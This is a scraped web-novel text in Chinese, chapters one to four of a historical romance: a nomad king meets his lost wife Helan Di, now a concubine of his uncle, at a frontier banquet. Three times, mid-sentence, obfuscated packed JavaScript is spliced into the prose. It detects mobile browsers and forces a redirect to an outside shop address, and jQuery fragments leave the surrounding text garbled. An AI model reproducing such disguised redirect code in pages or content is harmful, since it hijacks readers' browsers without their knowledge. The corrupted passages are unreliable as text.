《琵琶弦上》 1. 一、惊蛰日 独孤策再次见到贺兰荻,是在大魏正平十六年的惊蛰日。在此之前,他从未想过还会再见到她,还是这样的场合之下。 他已经有太久没听到她的消息了,甚至已经说服了自己,不再念起她。他的人生里遇过太多的挫折,她不过是其中很小的一部分。 …… 分明已是春日,但塞上积雪未消,刺骨的寒风透过枯树的枝丫,发出呜呜咽咽的悲鸣。漫长的冬天似乎就要结束,可却不知春会在哪一天到来。 燕关重地,崇山峻岭为屏障,隔绝着中原和边塞,百年间阻挡着草原铁蹄南下,如今却已落在他手。 这是他称王的底气。 连素有正统之名的大魏也不得不承认他的身份,遣使送上册宝,遥封他为车骑将军、都督燕、金二州诸军事、领燕州牧。 不过是让他掣肘大晋的手段罢了,他虽不屑,却也乐于接受。 一行人马昼夜不歇地疾驰,才终于如约赶到了这里,纵然都是草原上最骁勇的汉子,脸上也显露出疲惫之色。 独孤策执起马鞭,指了指远处隐约可见的关隘,对身边人道:“这便是燕关了,可算得上雄伟奇险?” 他的汉话说得极好,也并未如随从一般披散着发,乍一看竟有几分中原郎君的样子,可是那过于深邃俊美的五官,过于桀骜凌厉的气质,却将他的异族身份暴露无遗。 “咱们已有燕关,拿下岳州指日可待,直接往南打就是了,何必要与那慕容桓讲和,娶他家的公主。如此,大王竟成了他的女婿了……”说话的人身长八尺,壮硕非常,一张赤红的脸上写满不忿。 “乞干将军勇武超群,谁人不知,”身后有人笑道,“不过事情换个温和的方式解决,不是更好吗?” 说话之人叫赵雍,他身量瘦小,颀面长须,开口前习惯性地眯了眯眼睛,笑得很是儒雅。 “先生说得轻巧,难道拿下岳州,靠娶个公主就行?”乞干昌一向不服赵雍,他一个连马背都爬不上去的汉人,凭什么让大王敬若上宾。 赵雍不恼,只是道:“将军急什么,跟着大王还怕没有胜仗打么。” “乞干昌,下次征战,孤定让你为前锋,可好?”独孤策仰首望着天上浮动变幻的云气,笑道。 乞干昌挑衅地看着赵雍,刚准备欣然答应,就听到独孤策的声音沉沉压来:“不过这一次,收起你的傲气,谨慎行事,若是惹出什么事,本王可不会姑息。” 这话不可谓不重,却非对乞干昌一人,而是对所有人说的。 “遵命!”身后之人纷纷敛起了脸上嬉笑的神色,齐声道。 三个月前,晋帝慕容桓忽然听从丞相崔凭的建议,遣使而来,要将小女儿清河公主嫁给他。 慕容桓一向傲慢,这次…… 独孤策嘲讽地弯了弯唇角。晋魏鹬蚌相争,该他渔翁得利了,为了能一举吞并宇文部,扫除草原上最后一个敌人,他必须促成这样的“和睦”。 “区区岳州……”独孤策一哂,望着远处高大坚固的城池,微眯双眸,看不出情绪。大好江山,慕容家可以入主中原,他独孤策迟早也能踏平所有阻隔,挥师南下,取而代之。 “乐陵公将此城池守得很是坚固啊!”赵雍望着越来越近的城池,慨叹道。 “我这个六叔,的确才能出众……”独孤策叹道,声音不大,听不出情绪。 赵雍不置可否的笑了笑,又换了另一个话题。 “一个月前,乞伏那归率领残部逃往关内,听说乐陵公并未阻拦。”赵雍低声道。 “哦?”独孤策挑眉。 “晋主已经下旨,将乞伏残部安置在洛城。” 乞伏部与他有杀父旧仇,他好容易挥兵诛灭,怎会允许贼首逃脱。斩草不除根,遗祸无穷,这个道理三岁孩童都知道。 也不知六叔是如何想的,总不至于首鼠两端,还想着讨好晋帝吧。 “听说乞伏那归献了几个绝色女子给乐陵公,乐陵公只留了一个,其余的都遣散了。”赵雍又补充了这么一句。 “美人?”独孤策看了赵雍一眼,不由笑了起来,“乐陵公清高的很,还从未听说他会为了美色动心。你这么一说,孤倒是好奇了,是什么样的美人,竟然能将他迷惑的什么都不顾了。” 话是这么说的,但心里却不大信。与其相信他独孤宗绪是为了美人放了乞伏那归,倒不如想想他是否藏着别的图谋。 独孤策多疑,尤其是在经历过那么多事后。 当年他父汗刚刚过世,四叔独孤炜就勾结几个叛将趁机作乱,逼得他不得不逃亡到贺兰部避难。莫说一路上九死一生,就算到了贺兰部,他仍然要应付一波又一波的刺杀,那一年他连睡觉都不敢合眼。 后来好容易在六叔独孤宗绪和老将尉迟光的拥立下顺利继位,叛乱仍未停歇,那一双双野心勃勃的眼睛,看着他时,就像在看无力自保的羔羊,恨不得将他撕个粉碎。周边部落亦欺辱他年幼,时有攻伐,夺物掠地,一日未休。 阿母给了他一把刀,她说:“刀若是不敢刺到别人的胸口,那就刺到自己的胸口,宁死也不要受辱。” 他就拿着那把刀,从身边的叛乱者开始,一点点厮杀到了现在,不曾停歇。 忽然听到身旁有将领揶揄道:“乞伏部哪里来得美女,还不是从别的部族抢的,听说去岁灭贺兰部时就抢了不少,贺兰多美人,可便宜那些狗东西了。” 赵雍注意到,打马走在前面的独孤策闻听此言,身形陡然僵了一下。 他依稀记得,当初可汗也曾流落于贺兰部,还在那里娶过妻。 五年了……原来已经过去了那么久。 不过是一个已经被吞并的小部落罢了,何况那里还见证着他最落魄,最不想被人提起的旧时光阴。 至于那个女人…… 那时她年岁尚小,却已有倾城之姿,可惜是个哑巴,还是个满身都是刺的哑巴。她太过无心,他也淡了心思,与其说是夫妻,不如说是捆绑在一起的陌生人。 阿荻……这是她的名字,他听贺兰越好像是这样叫她的。 “这似乎是个汉名?到底是什么意思?”他有一次忽然心血来潮,问赵雍道。赵雍虽然不知他为何会想起问这个,却也如实回答:“这是一种草,水边和田地旁多有生长,如翼入梳,风吹起来甚是漂亮。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546666|186734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “芦苇?”独孤策哂然,不明白怎么会有人给女儿取这样一个名字。 赵雍博闻广记,听闻此言摇了摇头:“与芦苇相似,却也不同,这种草心性坚韧,十分耐活。方才主公说有人以此为名,想来也是取其坚韧不拔之意。” 坚韧么?似乎没有看出来,只是依稀记得她十分纤弱,可不就像苇草一般…… 罢了,何必想起这些。如今她是死是活都不知,就算自己心里留有一丝不甘和愧疚,毕竟覆水难收……他们此生或许再也不会见,她对自己是爱也好,恨也罢,都没有什么意义。 “先生对中原之事颇熟悉,不知对这次送亲之人,可了解?”独孤策将自己从回忆中抽离出来,平复着心情,问道。 “此次送亲之人,是晋帝的四子陈留王慕容泠。听说此人雅好文学,喜欢与汉人名士结交,生母位卑,不喜争抢,除此之外再无其他特别之处……”赵雍缓声说道。 “并无特别之处……”独孤策沉吟,“这么说此人并未参与到储位争斗中去?” 慕容桓膝下有六子,长子慕容泓为元妃段氏所生,但段妃早逝,母族段部也已衰亡,所以慕容桓即位后并未将其立为太子,只封了个渤海王。次子慕容沛只比慕容泓小两岁,生母刘氏,是前朝哀帝的小女儿,听闻此子颇有才干,支持者甚众。 两个年长已有水火不容之势,那些年少的也不甘示弱,可慕容桓似乎并未想要解决此事。 “洛阳传来消息,慕容桓近来颇宠爱一个南地女子,甚至放言此女若生子,当立为储君。”赵雍说起这个,自己都忍不住露出一个古怪的笑容。 “慕容桓不是昏聩之君,说这个话,不过是试探罢了。不放些饵料,鱼怎么可能露头。” “难道谁会因为宠爱一个女人,就把国本都视为儿戏?”独孤策冷冰冰地说道。 赵雍以为然,附和的点了点头。 “咱们且去会一会这位陈留王,也看看大晋朝廷对于此次联姻到底是何态度。宇文部兵强马壮,大战在即,我们不能掉以轻心。” “孤不希望节外生枝,进关之后,都收敛些,谁敢惹事生非,定斩不饶。”独孤策转身,对跟从的众人道。 众人纷纷俯首,朗声应诺。 轻骑很快卷起了阵阵尘埃,在昏黄未散的夕阳下,向着雄伟奇险的燕关进发。城池之上,一人负手而立,看着如蚁群般徐徐压过来的人马,面色平静如水,唯有那双浅褐色的眸子,藏着些旁人看不懂的情绪。 “将军,这处风大,回去吧。”女子的声音娇柔地响起,大概因为寒风侵袭,微微有些发抖。 “你先回去,大王到了,我得亲自去迎。”男子回头,为女子理了理兜帽,手缠绵地停在她被吹乱的额发上,“近日事务繁杂,你安心待在后院,无事不要来找我。” 女子望了眼城下,莞尔垂眸,温顺道:“妾听将军的。” 一阵朔风刮过,她瑟缩了一下,抬眸时眼里蕴着水一样柔情:“将军近来脾胃不好,记得少饮些酒。” 走了没几步,又依依回头,见他也在看着自己,脸上蕴起一抹羞涩的笑意,然后袅袅离开。 2. 二、琵琶声 独孤策入城时,见独孤宗绪已经摆好排场,早早迎候在了城门处。 一身青衣,清颜如玉,仿佛是汉人笔下的水墨画。他不过比自己略长几岁,气韵却沉淀的像是经历世事的长者,锋芒尽敛,只余从容。 “怎敢劳六叔在此久候,是我失礼了。”独孤策下马,笑着与独孤宗绪见礼。 “大王何须客气,一路辛苦,还请入城吧。”他礼数周全,说话亦如过去,谦逊又温和。 燕关虽险,到底是边陲小城,又屡遭战乱,不仅不繁荣,反而有些破败。独孤宗绪来此镇守后,整肃吏治,约束军队,安抚百姓,这里才依稀有了些烟火之气。 “公主和送亲使团昨日便到了,臣暂时将她安置在了太守府中。”独孤宗绪一面领路,一面说道,眉目中带着一些踌躇。 馆驿破旧,宅院损毁,原来的燕关太守府已经算得上是此间最能拿得出手的所在。 “只是大王……” 独孤策来此迎亲,并未提前知会过他,所以独孤宗绪有些为难。 独孤策猜出他想说什么,摆了摆手,笑道:“六叔何须为难,我可从没有那么多讲究,这些人马你看着安置,城外搭帐篷也不是不行。至于我……咱们叔侄也许久没有畅饮叙旧了,我少不了在你府上叨扰几日。” “那便只能委屈大王了,”独孤宗绪想了想,道,“不如臣将太守府辟为东西两半,公主带来的人在西院,大王暂住东院,这样也不失礼数。” “六叔越来越像汉人了,这一口一个礼数,倒显得侄儿成了无礼之人了。”独孤策朗声一笑,身后的人也跟着笑了起来。 “六叔看着安排就是,只是免不了要惊扰你的眷属。”说这句话时,独孤策不由想起了赵雍说起的那个美人。 不知独孤宗绪会将美人藏在哪里…… 独孤宗绪的后宅一向简单。早年由兄长做主,娶妻宇文氏,不过一年光景,宇文氏就病死了。之后他再未娶妻,连别人送上门的妾侍也拒不接纳,再后来干脆离了抚远城,常年带兵在外。 想来也是孤独,不然如何会接受乞伏那归的相赠。 …… 众人安置好时,夜色已笼罩了整个孤城。 “燕关苦寒,招待不周,诸位见谅。”宴席之上,独孤宗绪执起盏,对座中宾客道。 代王亲自迎亲,这面子给得不可谓不足,所以对面那些送亲使的脸上都带着骄矜的笑意。 一时有人应和,笑道:“莫说乐陵公不适应,就连末将这般皮糙肉厚之人,也受不了这里的气候。” “洛城地气和暖,这个时节早就繁花盛开了,哪里似这里,这都几月了,雪还下个没完没了。”又有人说道。 独孤策看着面前的金盏,微不可查地笑了笑。慕容家入主中原才几年,竟自得成这个样子,他们怕是忘了自己的老家比燕关还要苦寒百倍吧。 一杯酒还未饮完,对面已经有人按捺不住,对独孤策道:“今日甫见大王,有些事原本不该提,但陛下信重臣下,让下臣肩负着北境安定之责,下臣也只有硬着头皮一提了……” 说话之人肤色白皙,身量微丰,看着像个面团。 “阁下是……”独孤策端坐在上首,意态悠闲。洗净尘霜后,他换上了一袭绛色的衣袍,这样鲜焕的颜色衬得他越发俊美,灼灼若朝霞举。 当真人中龙凤,不可等闲视之。 那人噎了一下,讷讷道:“下臣乃大晋侍中张序之。” 官职不小,皇帝心腹,难怪这般张狂。 独孤策知道他想说什么,微微一笑,示意他继续。 张序之见此,声音稍缓,道:“听说大王与乞伏可汗有些龃龉,今日正好,听闻乞伏可汗就在此处,大王看看在下是否有薄面,能帮二位解除误会。” 单刀直入,举重若轻,这招倒是让人猝不及防。如此摆在台面上说,自己答应也得答应,不答应也不行,不然就是违背盟约了。 看来此人并非肤浅之徒,心机城府不可小觑。 独孤策笑了笑,没有说话,只是将杯中酒饮了干净。 坐在下首战战兢兢的乞伏那归却是按捺不住了,直接放下了手中的酒杯,惶惶然跪了下来,哀声道:“我部族已经只剩些老弱妇孺,还请大王高抬贵手,放我一马吧。过去种种皆是旧仇,我愿将河曲之地尽数奉上,此后再不踏足关外半步。” 独孤策望着这张粗犷又丑陋的脸,脑海中全是过往所受的逼迫和欺凌,自然也想到了贺兰山下的那些堆积如山的白骨。 乞伏部一日不灭,他便一日不会罢休。不过来日方长,何必要在这个时候给别人留了把柄。 “乞伏可汗说得哪里话,如今乞伏部有大晋庇佑,自然无忧,难道孤还会打到关内寻仇?至于河曲之地……那本就是我独孤部的地盘。当年可汗勾结我族中逆臣将其夺走,说什么奉上,不过是物归原主罢了。”独孤策一字一句,缓声道。 他生着一双亮如星辰的眼眸,就那样淡淡地扫过去,对方立时噤若寒蝉,惶惶不安起来。 独孤策没有再看乞伏那归依言,转头对着张序之,弯了弯唇角:“既然两家结亲,孤总得有些诚意,放心,孤今后定不会干涉乞伏部半分。” 张序之很满意独孤策的态度,哈哈笑道:“大王果然是豪爽之人,既如此,下臣也会尽快将此事上奏陛下。陛下若知可汗如此诚意,定然欢喜万分。” 目的达到,张序之很是满足,洋洋得意的举起了酒杯,对着独孤策相敬。 独孤策却举起酒杯,对独孤宗绪道:“此事乃乐陵公一力促成,侍中该感谢的人,是你啊!” 独孤宗绪的脸色有些不好看,沉了沉气,浮上一抹尴尬的笑。 “起乐舞吧。”他吩咐道。 立时,香风轻送,月下,乐伎翩然而至。 泠泠淙淙的琵琶声乍然而起,奏得虽是塞外人人都听过的调子,但是技法娴熟,情意缠绵,听得众人皆是一愣,甚至忘了去看场上那般曼妙的舞姿。 “早听人说塞外琵琶断人肠,今日听来确然如此。”张序之懒洋洋地说道,“听着应是绝色美人妙手而就。” 这句话引得大家遐想无限,下意识就顺着琵琶声去寻找那隐匿在暗处的绝色佳人。 果然,灯火阑珊处,一道绰约的影子落在帘幕之上,螓首低垂,姿态柔婉,独妙手翻转跃动,赋予琵琶弦无穷无尽的勾魂之力。 “这算什么佳人!”乞伏那归忽然开口,“乐陵公新得的美人,那才是绝色,琵琶弹得更是一绝。” “便是可汗献给明公的那一位?”张序之身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546667|186734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边一个络腮胡子宽脸盘的男子问道,一双眼睛却落在帘后女子身上,几乎一错不错。 独孤宗绪却未看向那边,只是持盏,笑得含蓄:“乞伏将军一片心意,着实不好推辞,故而留下一个陪伴左右。” “只留一个……那该是何等艳绝!”有人说道。 乞伏那归献了那么多美人,他却只纳了一个,固然有彰显他清高不重女色的意思,但另一层不也说明此女有殊色,姿容更胜于旁人许多么。 “乞伏可汗有心,也不知是何等姝色,才能引叔父一顾。”独孤策也跟着笑道。他似乎饮了不少,酒气慢慢晕上了双眸,看着比方才昳丽了许多。 乞伏那归见提到了他,忙战战兢兢地回应道:“乐陵公眼光实在出众!此女虽号称是贺兰部第一美人,却并非出自贺兰部,而是北上避祸的汉人。贺兰越见她生得美貌,以为奇货可居,特地将她收养在身边,认为义女。后来贺兰部败亡,她便归于我乞伏部。” 说这些话时,独孤策觉得乞伏那归那双肿胀的小眼睛一直有意无意地看自己,这让他很不舒服。 贺兰部第一美人……独孤策忍不住想起那个女子。 当年隔着篝火遥遥一望,不过一个侧脸,就让他失魂了刹那。草原上有许多美人,有的艳丽,有的高洁,但她却如芳草上坠着的露珠,云销雨霁后的彩虹,美得不可捉摸。 “既然美人难得,乞伏将军就没有想过据为己有?”有人揶揄。 草原并无那么多讲究,美貌的女子抢过来便是,辗转在各部落的人又不是没有,何况如此绝色。 说这句话的人明显不怀好意,但乞伏那归却早有准备,他窥着独孤策的脸色,缓声道:“说来也奇,当时寻到此女时,就看见她身边群狼环绕,等闲无法近身。后来好容易带她离开,那狼群却像是缠住了我们一般,日夜袭扰。我无奈之下,找了大巫帮她相面,大巫只望了她一眼便惊骇不已……” 说到这里,乞伏那归顿了顿,肥肉横生的脸上露出一个幽微的神色。 众人被吊足了胃口,纷纷竖起耳朵等着他接下来的话,没人注意到独孤宗绪越来越难看的脸色。 “大巫说她身负天命,贵不可言。” 这句话一出,众人面面相觑,后又不自觉地将目光落到了独孤宗绪身上。 独孤宗绪的笑意凝固,一张脸在烛火中半明半昧。 贵不可言……他一个臣属,究竟有多少胆子让自己身边的女人身负这样的谶语。 也不知这人是谁指使乞伏那归说出这样的话。 独孤宗绪不安地看向独孤策,但对方却依旧言笑晏晏,似乎并不将这些话放在心上。 “一个孤苦无靠的婢妾,如何能有这样的命数。可见如今世道太乱,让那些胡言乱语的人钻了空子,什么都敢乱说。乐陵公,若是孤手下有人如此妖言惑众,孤定然会就地诛杀,以免乱了人心。”一个声音朗然响起。 众人回头,一身紫衣的年轻男子姗姗而来,烛火掩住了他的眉眼,依稀窥见几分清贵之气。 他走向独孤宗绪,看样子与他十分熟稔亲近。独孤策侧目,仔细端详起来人。 气度端雅,年少俊美,对面的晋人纷纷见礼,来人只能是此次送亲使陈留王慕容泠。都说慕容氏多美男子,确实名不虚传。 3. 三、旧时曲 “孤只是听不得这些怪力乱神之语,若真是绝色,留在后宅宠宠也倒罢了,还会掀起什么风浪?” 他一说,立刻就有人附和:“区区一个贱婢,不过是供人消遣的玩意儿,还做什么攀龙附凤的梦,可见那巫祝胡言乱语,该杀!” “的确如此,贺兰部早就没几个人了,留个女子还想翻天不成。”又有人道,话说得十分狠厉。 独孤策眉头微不可查的皱了皱。 “既然她琵琶弹得好,六叔不如请她出来,为大家弹奏一曲吧。”半晌后,独孤策忽然说道。 独孤宗绪显然有些为难,委婉的拒绝:“她性子腼腆,难登大雅之堂,还是不要出来扫大家的兴了。” “不过是演奏一曲,隔着帘幕便是,六叔何须为难。”独孤策坚持道,他虽然在笑,声音里却透出几分凉意。 一时又有人附和,倒让独孤宗绪骑虎难下。无奈之下,低声吩咐身边人几句,脸上的笑容微微发僵。 …… 月过中天,烛火昏暗,有几个人已经饮醉,东倒西歪地横在座位上,还有一些人却清明非常,目光注视在那朦胧飘逸的帘幕之后。 隔了很久很久,一抹绰约的影子终于出现,隔着帘幕,便如雾里看花,留给了众人无限的想象。 琵琶声起,奏得却并非草原之音。 “南音哀婉,牵动情肠……”不远处的慕容泠已停下了手中的箸,凝神听着弦音,缓缓说道。 他不过出于欣赏,沉浸在曲调之中,真正愣住的人,却是独孤策。 “忆郎郎不至,仰首望飞鸿……”他不自觉地吟了出来,声音不大,但帘后之人却分明听到了。 琵琶声滞涩一下,暴露了演奏者此时纷乱的内心。可那样的失态也不过是刹那,她娴熟地技巧已经巧妙地遮掩了心绪的短暂起伏,乐声仍旧曼妙,只是映着苍然的月色,听着有些寂寥。 这个曲子,他听过的。 独孤策努力地从回忆中找寻着线索,莫名地想起了那个单薄倔强的女郎,她从未在自己面前弹过琵琶,只某一日晚归时,他隐约听到过这样的乐声。婉转幽怨的乐声勾起了他的愁绪,他站在帐外,一直将整首曲子听完,才姗姗入帐。 后来他辗转才知道了这个曲子的名字。 他们之间,其实很陌生。 “代王可有心事?”慕容泠的声音款款响起,听着分外和气,“都说代王颇通音律,莫不是此曲过于哀婉,牵动了代王的情思?” 独孤策摇头,敛起面上的一抹寂寥之色,回道:“孤是个粗人,哪里懂这些。不过是想起了几句故人念过的诗,觉得应景罢了。” 弦音又是一紧,分明是诉情之乐,却隐隐有忧愤之声。 独孤策又睨了帘后一眼。 恰在此时,一阵风吹拂过庭中,寂然掀起了帘幕一角。帘后的人也恰在此时微抬起双眸,秋水盈盈一盼,如雾气般蒙蒙地落在独孤策身上。 不过刹那,那似愁似怨的目光便随着款款落下的帘幕消散无踪,了无痕迹。仿佛那不过是他的一个错觉而已。 可他却将那张脸看的分外清楚……那样清楚,包括她颊边那一行泪…… 独孤策的心像是被什么东西挠了一下,浅浅的疼,微微的痒,还有无边的惆怅。 他以为自己忘得干净…… 他执起手中的酒盏,仰头喝了个干净,可是那双眸子却像是烙印在心底一般,越是想要忽略就越是无法忽略。 “代王的故人,想必极有才情。”慕容泠和着琵琶的旋律,轻轻敲着几案。 “或许吧。”独孤策苦笑,并没有打算继续这个话题。 往事难回首,她不过是故人……只是故人罢了。 他未再看那个方向一眼,只是冷冷地握着杯盏,脸上看不出任何破绽。 这一曲还是太长,当最后一个音符的余韵袅袅散在寂静的空气之中,独孤宗绪终于忍不住,对帘幕之后的女子扬声道, “阿荻,你且退下吧。” 那女子听闻此言,按住了弦,起身盈盈而拜,然后消失在了灯火阑珊之处。 春寒乍起,朔风凌冽,杯盏中的酒凉的难以入口,独孤策放下了手中的酒,抬头看了眼天上高悬的月。 新月如钩,像极了当年他初到贺兰部时见到的那一弯。 …… 贺兰荻也不知道自己为什么会落泪,她一度以为自己不会哭。 他说得对,不过是个故人罢了。 她抱着琵琶往后院走去,面色很不好看,纵然敷了厚厚的胭脂,仍遮掩不住此时的苍白。金灿灿的步摇钗随着她略有凌乱的脚步仓促地晃,打在脸上冰凉凉的疼。 “娘子,您走慢些,等等奴。”身后的侍女急趋了数步,仍跟不上她的脚步。 终于,走到了湖边的凉亭处,贺兰荻才停了脚步,将琵琶递到了侍女手中,吩咐道:“槐序,我有些冷,你去给我取个手炉吧。” 槐序见她已经恹恹地靠坐在了亭中,怔然望着远处,不再言语。急忙应了一声,跑回了后院。 贺兰荻坐了片刻,就听到身后响起了一阵脚步声,但先于脚步声而来的是熏人的酒气。她皱着眉,用帕子掩了掩琼鼻,嫌恶地睨着来人。 “方才你也听到了,我按吩咐一字不差地都说了。”乞伏那归靠近几步,用那双酒色熏染地浑浊的眼睛盯着贺兰荻。 贺兰荻厌恶这样的目光,向后退了几步道:“可汗用几句话换一个活命的机会,不亏吧。” 天命……这两个字放在这样的乱世,谁不喜欢?人人都以为自己会是天下的主宰,甚至还有人认为自己可以结束这样的乱局,独孤宗绪又怎会例外。既然大巫确实说了这样的话,她不认为有遮掩的必要。 天命在身有什么错,她需要活下去,风风光光的活下去。 “今日你又见到了你的那位独孤郎,怎么样,他是否对你余情未了……”乞伏那归笑着讥讽道。 贺兰皱眉,语气厌恶:“这与可汗有什么关系?可汗若是不想死,最好还是乖乖听话,莫要惹我……” 她的音色很娇柔,话却说得冷酷尖刻:“你不会真以为独孤策会放过你吧,他那个人最是桀骜不驯,想做的事谁都拦不住。可汗还是小心些,若是惹恼了我,就没人帮你了。” 说完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546668|186734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一句,她莲步轻移,香风未散,人已经消失在了回廊的尽头。 “不过是个恃宠而骄的贱人,”乞伏那归恨恨地想,“等到事成,定会将你等全部诛杀,一个不留!” 然而现在他却不能轻举妄动。这女人邪门得很,谁知道会生出什么事端。 他的这些心思,贺兰荻如何不清楚,不过她才不在乎。这个人手上沾着太多血,便是万死也难赎罪。她今日不过是利用他,在今日所有人的心中埋下一个种子,待那些不可言说的野心和欲望破土而出时,这些谶言就会是她安身立命最好的筹码。 “这样的人留着只会坏事,为何不杀了他。”一个身影隐在树影中,看不清楚轮廓,声音依稀听出是个女子。 贺兰用手拢了拢身上的大氅,笑意寒凉:“他还有用,杀了做什么。” 说罢,觑了一眼树下,声音很娇气:“环夫人,你一天总是喊打喊杀的,吓着我了。” 树影后的人没有说话。 片刻后树枝微颤,几片枯叶坠落在眼前,再看那处,哪里还有人的影子。 贺兰脸色稍霁,忍不住弯了弯唇角。 死……太过容易了,宛城一战死了数万人,整个城池便如人间炼狱一般,碧血连天,白骨参地……她踏着尸山血海一路北上,官道两边全是死人,连树皮都斑驳的不成样子, 都说未知生,焉知死,偏她先感知的是死亡。 她可是发过誓的,她要活得比谁都好。 …… 独孤宗绪今晚饮了些酒,熏然微醉,略觉头痛。 小仆墨竹跟随他日久,最是了解他的脾气,看着他从容应对完所有人后,才扶着他回了后宅。 “主公可有不适,是否需要请医者前来?”墨竹看到宗绪脸色苍白,脚步有些浮,不禁问道。 宗绪摇头说无妨,又道:“吩咐人备水,我要沐浴。” 他一直有些矜贵的习惯,哪怕一向厌恶奢靡,饮食起居也很有些讲究。譬如他每日睡前必要沐浴,饮酒后更是如此。譬如他见客的外袍一定要拿青木香细细地熏一遍,贴身衣物却不能有香气沾染。 他不喜欢外人近身,所以这些一直都是墨竹亲自操持。 可是今日却似乎有所不同。 宗绪踏入内室后,嗅到一丝浅浅的香气,非兰非麝,清幽渺远。他不由抬起头,不出意外在帘幕的后面,隐隐窥到一抹绰约的影子。 他刻意放缓了脚步,带着并不算喜悦的心情,向前走去。 果然,碧色的帐幔被掀开,便是一张芙蓉濯露的脸。 很美的女人,美得娇艳欲滴,美得咄咄逼人,在这初春料峭的塞上孤城,仿佛唤醒了满城的春花。 她半垂着眼睛,做出柔顺的样子,可是倔强挺直的脊背和脖颈,却让她显得别扭又倔强。 宗绪没有更多举动,只是沉沉看着她,观察的十分仔细。他承认,有些人就是能凭着一张脸,让人有探究她的兴趣。 “将军……”她见来人不言不语,干脆抬起头,柔柔地叫了一声,脸上带着极有分寸的微笑。 寻常的称呼,偏她说出来就婉媚的厉害…… 4. 四、月朦胧 “我并未唤你过来。”独孤宗绪微微俯身,迎上她的眸光,也露出一个与她一样矜持的笑。 这句话说得不大客气,尤其对于一个自负美貌的女子。貌美之人恃宠而骄是常态,他并不认为眼前之人有什么例外。 然而她的脸上并未露出羞愤之色,她只是眨了眨眼,关切道:“将军今日饮了许多酒,是心情不好吗?” 独孤宗绪并不喜欢被人看穿心事,侧过脸去,轻轻咳了一下。 “故人见面,多饮了几杯……” 他沉吟了片刻,状若无意地说道:“你今日的琵琶弹得那般婉转多情,连我听了都柔肠百结……是否也是因为故人相见?” 他的手缠绵地落在她的脸上,一寸一寸滑过她花瓣一样的脸颊,好像在看一个精妙无双的画。 她没有闪躲,扬起脸,任她的小脸落在他的股掌之间。 她笑得狡黠:“将军是醋了么?” 宗绪滞了一下,尚未回答,她的手已经覆在了他的手上,一个吻轻轻滑过他的掌心。 又酥又麻。 “我爱慕之人,唯有将军。若将军拿陈年往事为难我,那便是将军小气了。”她用侧颊蹭了蹭他的手,像极了一只讨人喜欢的小兽。 方才还端的像个精致的木偶,这一句出来便是鲜活的人间绝色。 独孤宗绪忍不住轻轻吻上了她的额,然后唇慢慢滑落在她水雾蒙蒙的眼上。 她缩了一下,忍不住将其紧紧阖上。 “真奇怪,当初他怎么舍得将你抛下?”像是在问,却更像是在感慨。 听到这句话,她的眼皮抖了抖。 她没回答,独孤宗绪也并没有为难她,手又停在了她的发上。她的发柔软地垂下,没有一点发饰,越发衬得她楚楚可怜。 “不喜欢我提这些旧事,那便不提了。”他轻声道。 可不知为什么,他控制不住地好奇。他好奇他们的一切,包括当初的相见,包括后来的分离。 “将军就是将军,不是别人……”她抬起一双大眼睛看着独孤宗绪时,无辜地厉害,“我也只是贺兰荻,和别人有什么关系呢。” 倒是个有趣的回答。 “对,你还是天命之女,谁敢违拗。”独孤宗绪仍在笑,眉眼尽是温和之色,好像只是在打趣她。 这次贺兰却没有装傻,她皱着眉,似乎在很认真思考着独孤宗绪的话。她的目光逡巡在人的脸上,仿佛一把小刷子,刷的人心头微微发痒。 “这件事我从未对人说过,将军如何得知?”她带着几分严肃,似乎很厌恶这个话题。 “不过是疯婆子的胡言乱语,将军莫要再说,若是被人听到,或许会招来灾祸。”她一字一句,认真说道。情急之时,伸手捂住了他的唇。 独孤宗绪目色深深,轻轻挪开了她的手。 “阿荻不喜欢这个谶语?” 贺兰瞬了瞬眼眸,忽然垂下了头,声音低低的,带着几分伤感。 “若它有用,我何至于流离多年,受尽苦楚。若它无用,说出来也不过是招惹流言。将军是英雄,自是不怕,可我不想因为自己的缘故,让你受侵扰……” 听过很多奉承话,她说得不算高明,可是透着真诚,让独孤宗绪很受用。 “当真这般想?”宗绪挥手示意所有人退下,然后笑着坐在了床榻的一侧。 她点头,想了想,又道:“遇到将军前,总觉得那谶语可笑,可是一见将军,又觉得或许那大巫说得有些道理。妾或许没有天命,但将军能得天命也未可知……” 独孤宗绪听闻此言,倏然变色,仿佛一道雷劈中了要害,刺激地浑身的汗毛都倒竖起来。忽冷忽热,一种不可言说的感觉刺破皮肤,直往心的深出钻去。 他半晌才找到自己的声音:“阿荻,不可胡言。” 始作俑者似乎并不知自己做了什么,只是慢慢伸出手,抓住了他的衣袂。独孤宗绪没有躲,于是她得寸进尺地顺着他的衣袂往上,柔软的触感,却如吐着信子的蛇,一点点纠缠起他藏在心中的欲望。 